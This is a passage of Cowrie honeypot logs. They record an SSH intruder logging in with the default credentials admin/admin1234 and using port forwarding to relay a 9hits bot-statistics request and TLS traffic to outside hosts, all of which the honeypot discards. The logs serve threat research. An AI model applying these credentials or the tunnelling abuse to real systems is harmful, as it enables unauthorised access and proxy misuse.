{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:17.611103Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:18.029599Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:18.794837Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:24.094779Z","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:24.150269Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/76.0 Mobile/16F156 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=YXNkU3o2I1l2VDNSXzc%2FcQ%3D%3D7CumxTU6zlQ8J5mYtPBPCzgjd%2Fcz0IU7QpnGPVtwVlIfCEMV0WpXgh6e6tEs6fP%2B1zT8RqYBfE2a9ym7lZoin7BnlzBWlS8oqVcHV9LAsm%2BGRLNgJI5LUm8DLbErdSx%2F3xF1CnjzAhdf1Rc5sAYUB4mID5YRKbFjT4FiwTcNohoQmm9hYuzw324MtcFi6WtWmioVUnUyLWzEwun8w4fmeR0WvqGtFn0WJDtYq%2FUr0al9zvjPYilDUj5zUAQSvytVOnXf5bZyX9ygGzX2mmRrXP58AcfCfBwt5Obm%2FISX9ML8tiPOYy0bLIPHwz73h4TNHv1k0pt%2BBgkayXv5IckVGO1qhLMouHKU9bUHLkijejE0TBEskFWfAbiGcXkMaljkR2wPpEeC2ROnQBkbqe%2BPRq%2B%2Bd3ojjsD4jND8QSkpS5zmPnJIbnv6hBEPse5CIec5W%2F83Xa0uCwRSmzhxpt6DhsWAD0wzp%2BWbXIzDgRGiAAPeDgfsRAKcyTlgF40HfX%2BDTR8V45nPbci%2B2Q1oUjexcP1qwrYt5hLhhA3TiLpvY%2BhGmkuNYr9gCFKMdwotUD%2BeVWv97MpfeVLmpruD4zmqQskhafUTIRtmvyx4Z4hP%2F2pGcKj25dlO9NKWDjx2dUWvkteORbK%2FEW4aiBNJwmUI4h2eAFBZE4dLCze9vn55IyLcVJiTLR6idoe7U4OX3tDb%2FPOCokTduLIe9BnsU%2BOZJWsqwvKaEnBXkymHY5t%2BRQuSe3fssQKlVuEJxadgkh7dx5CCacqf3Zt6K6SkEzdJ5V0yLkUPqGMxQ9pZSVFkinbw7rCr9yL4teso7Zs91BHC3fd71h9amcbUpA73bsXSXY1yyJgFTtmA9md%2FfjmshcsQUT%2Fludz3NHRHRXEmqMRyJzShtpHEmnk2%2BkmVg0%2FEftrscnXhPpgZ62h1dsBY7USvy6mLjLlWIbIhQbw%2FmuAwcnOSNhsNx0vwSvc9GE3V1ijAiO8vC8pzawEX05Fhj8PcDB4mD4aVlSrNxatHtZaCfRaWQAPa4PuunWI2oHgUfM%2B6firqvEiLWe41qCUQRZtwWAbrpFKMW3ggMTp374cL'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/76.0 Mobile/16F156 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=YXNkU3o2I1l2VDNSXzc%2FcQ%3D%3D7CumxTU6zlQ8J5mYtPBPCzgjd%2Fcz0IU7QpnGPVtwVlIfCEMV0WpXgh6e6tEs6fP%2B1zT8RqYBfE2a9ym7lZoin7BnlzBWlS8oqVcHV9LAsm%2BGRLNgJI5LUm8DLbErdSx%2F3xF1CnjzAhdf1Rc5sAYUB4mID5YRKbFjT4FiwTcNohoQmm9hYuzw324MtcFi6WtWmioVUnUyLWzEwun8w4fmeR0WvqGtFn0WJDtYq%2FUr0al9zvjPYilDUj5zUAQSvytVOnXf5bZyX9ygGzX2mmRrXP58AcfCfBwt5Obm%2FISX9ML8tiPOYy0bLIPHwz73h4TNHv1k0pt%2BBgkayXv5IckVGO1qhLMouHKU9bUHLkijejE0TBEskFWfAbiGcXkMaljkR2wPpEeC2ROnQBkbqe%2BPRq%2B%2Bd3ojjsD4jND8QSkpS5zmPnJIbnv6hBEPse5CIec5W%2F83Xa0uCwRSmzhxpt6DhsWAD0wzp%2BWbXIzDgRGiAAPeDgfsRAKcyTlgF40HfX%2BDTR8V45nPbci%2B2Q1oUjexcP1qwrYt5hLhhA3TiLpvY%2BhGmkuNYr9gCFKMdwotUD%2BeVWv97MpfeVLmpruD4zmqQskhafUTIRtmvyx4Z4hP%2F2pGcKj25dlO9NKWDjx2dUWvkteORbK%2FEW4aiBNJwmUI4h2eAFBZE4dLCze9vn55IyLcVJiTLR6idoe7U4OX3tDb%2FPOCokTduLIe9BnsU%2BOZJWsqwvKaEnBXkymHY5t%2BRQuSe3fssQKlVuEJxadgkh7dx5CCacqf3Zt6K6SkEzdJ5V0yLkUPqGMxQ9pZSVFkinbw7rCr9yL4teso7Zs91BHC3fd71h9amcbUpA73bsXSXY1yyJgFTtmA9md%2FfjmshcsQUT%2Fludz3NHRHRXEmqMRyJzShtpHEmnk2%2BkmVg0%2FEftrscnXhPpgZ62h1dsBY7USvy6mLjLlWIbIhQbw%2FmuAwcnOSNhsNx0vwSvc9GE3V1ijAiO8vC8pzawEX05Fhj8PcDB4mD4aVlSrNxatHtZaCfRaWQAPa4PuunWI2oHgUfM%2B6firqvEiLWe41qCUQRZtwWAbrpFKMW3ggMTp374cL'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:24.153334Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:29.193766Z","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:29.255417Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\x92\\x95\\xa1\\xa7X_\\xc5\\xbew\\xf5\\x1a\\xac\\x96\\x8e\\xed\\x144w\\x8b\\x03/^E\\xec\\x9c\\x17D\\xcd\\xc7\\xc8\\xa5 Y\\xd8\\x10\\xe4\\x90{\\xddj9i0\\r\\xe4\"l\\x02\\xf9\\x97/x\\x8b\\xe4\\x02j2\\xf1\\xdf\\x9f,R\\xa8r\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 4\\x9fu\\x04\\x84C~\\xfd\\xf5~d\\xad< \\x88oHQ\\xc3(\\xa8}\\x88\\xd9H\\xa0\\x93/\\xaa\\xd4\\x8fz\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\x92\\x95\\xa1\\xa7X_\\xc5\\xbew\\xf5\\x1a\\xac\\x96\\x8e\\xed\\x144w\\x8b\\x03/^E\\xec\\x9c\\x17D\\xcd\\xc7\\xc8\\xa5 Y\\xd8\\x10\\xe4\\x90{\\xddj9i0\\r\\xe4\"l\\x02\\xf9\\x97/x\\x8b\\xe4\\x02j2\\xf1\\xdf\\x9f,R\\xa8r\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 4\\x9fu\\x04\\x84C~\\xfd\\xf5~d\\xad< \\x88oHQ\\xc3(\\xa8}\\x88\\xd9H\\xa0\\x93/\\xaa\\xd4\\x8fz\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:29.258862Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:29.314381Z","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:29.393354Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\xa6N\\xbf\\x1b\\xe4\\xa1\\x93\\xf1I\\xa5\\x00\\xcf\\xbf\\x9eN\\xc1\\x0b\\x8d\\xbc7\\xf0*\\x1f\\xf3\\xb7mE\\x116\\x1f\\xac \\xa8M\\xe6\\x7fQ\\x9c.g<\\xb0\\xe1.\\x1b\\xf8\\x82p9\\xff@\\x00\\xa5\\'8|\\x82\\x17\\x8e\\xe2\\xf4\\xb7\\xb1W\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 D\\xe0\\x1a^$\\xb9\\xce&\\'\\xb0h\\xe3jO\\x90O\\xa01\\xd5\\t_\\x82\\xb9z~\\xcc|\\x8dj\\xd7\\xa0i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\xa6N\\xbf\\x1b\\xe4\\xa1\\x93\\xf1I\\xa5\\x00\\xcf\\xbf\\x9eN\\xc1\\x0b\\x8d\\xbc7\\xf0*\\x1f\\xf3\\xb7mE\\x116\\x1f\\xac \\xa8M\\xe6\\x7fQ\\x9c.g<\\xb0\\xe1.\\x1b\\xf8\\x82p9\\xff@\\x00\\xa5\\'8|\\x82\\x17\\x8e\\xe2\\xf4\\xb7\\xb1W\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 D\\xe0\\x1a^$\\xb9\\xce&\\'\\xb0h\\xe3jO\\x90O\\xa01\\xd5\\t_\\x82\\xb9z~\\xcc|\\x8dj\\xd7\\xa0i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:29.396553Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.296865463256836,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:33.372730Z","src_ip":"172.81.62.90","session":"cef245a53ae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"19.2","message":"Connection lost after 19.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:36.715029Z","src_ip":"38.46.222.137","session":"829de0a2eea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62849,"dst_ip":"10.17.0.5","dst_port":22,"session":"20816a3b5643","protocol":"ssh","message":"New connection: 123.27.168.40:62849 (10.17.0.5:22) [session: 20816a3b5643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:54.429453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:54.434278Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group